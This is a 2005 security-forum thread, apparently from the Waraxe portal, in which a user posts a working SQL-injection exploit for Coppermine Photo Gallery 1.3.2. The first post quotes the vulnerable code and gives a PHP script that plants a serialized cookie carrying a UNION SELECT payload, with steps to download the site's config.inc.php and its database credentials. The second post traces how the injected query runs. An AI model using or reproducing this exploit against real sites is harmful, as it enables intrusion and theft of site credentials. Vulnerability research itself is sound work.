Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 29, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 759
Members: 0
Total: 759
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Effective Coppermine 1.3.2 SQL-injection exploit
Post new topic  Reply to topic View previous topic :: View next topic 
Effective Coppermine 1.3.2 SQL-injection exploit
PostPosted: Mon Aug 15, 2005 8:01 am Reply with quote
normalization
Beginner
Beginner
 
Joined: Aug 15, 2005
Posts: 2
Location: Russia, Vladivostok




Vulnerabilities in Coppermine Photo Gallery 1.3.2:
Quote:
if (count($FAVPICS)>0) {
$favs = implode(",",$FAVPICS);
$select_columns = 'filepath,filename';
$result = db_query("SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN ($favs)");
$rowset = db_fetch_rowset($result);
foreach ($rowset as $key => $row){
$filelist[] = $rowset[$key]['filepath'].$rowset[$key]['filename'];
}
}

And finally "$favs" is used directly in sql queries. Therefore sql injection can take place and it's exploitable.
Good news (for admin's and webmasters) is, that this kind of sql injection case is complicated to implement, because specific restricting factors. It needs to write special script or program, which uses COOKIE variables and
some blind sql injection technics. Not for scriptkiddies this time ...



How use it

Go to http://site.com/coppermine_directory
View C:\Documents and Settings\User\Cookies\user@site[1].txt and get cookie prefix (cpg132 in this sample):
Code:
cpg132_data
www.site.com/
1024
858934272
29735168
2623785632
29729133
*


Disconnect from internet, start local server, set $cookie_prefix variable and get URL on local server: http://site.com/index.php:
Code:
<?
 // by Normalizaton
 // URL for download config.inc.php in Zip archive:
 // http://site.com/coppermine_directory/zipdownload.php

 // Set prefix
 $cookie_prefix = "cpg132"; // cpg131, cpg132
                            // usually not cpg11d, not cpg130
 // SQL-injection
 $FAVPICS = array(
         "1,2) AND 1=2 UNION SELECT '../include/config.inc.ph'",
         "CHAR(112"
                 );
 $my_str = base64_encode(serialize($FAVPICS));
 setcookie($cookie_prefix."_fav",$my_str,time()+3600*5); // 5 hours

  echo "ok";
?>


View C:\Documents and Settings\User\Cookies\user@site[1].txt
Now cookie get corresponding cpg132_fav value

Finnaly stop your local server, connect to internet and get config.inc.php in zip archive by URL: http://site.com/coppermine_directory/zipdownload.php

That's all


Last edited by normalization on Mon Aug 15, 2005 8:31 am; edited 1 time in total
View user's profile Send private message
PostPosted: Mon Aug 15, 2005 8:27 am Reply with quote
normalization
Beginner
Beginner
 
Joined: Aug 15, 2005
Posts: 2
Location: Russia, Vladivostok




How it work

Quote:
if (count($FAVPICS)>0) {
// yes, cpg132_fav setted

$favs = implode(",",$FAVPICS);
// $favs = "1,2) AND 1=2 UNION SELECT '../include/config.inc.ph',CHAR(112";

$select_columns = 'filepath,filename';
$result = db_query("SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN ($favs)");

// SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']}
// WHERE approved = 'YES' AND
// pid IN (1,2) AND 1=2
// UNION SELECT '../include/config.inc.ph',CHAR(112)

$rowset = db_fetch_rowset($result);
foreach ($rowset as $key => $row){

$filelist[] = $rowset[$key]['filepath'].$rowset[$key]['filename'];
// $filelist[0] = "../include/config.inc.ph"."p";

}
}
View user's profile Send private message
Effective Coppermine 1.3.2 SQL-injection exploit
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.120 Seconds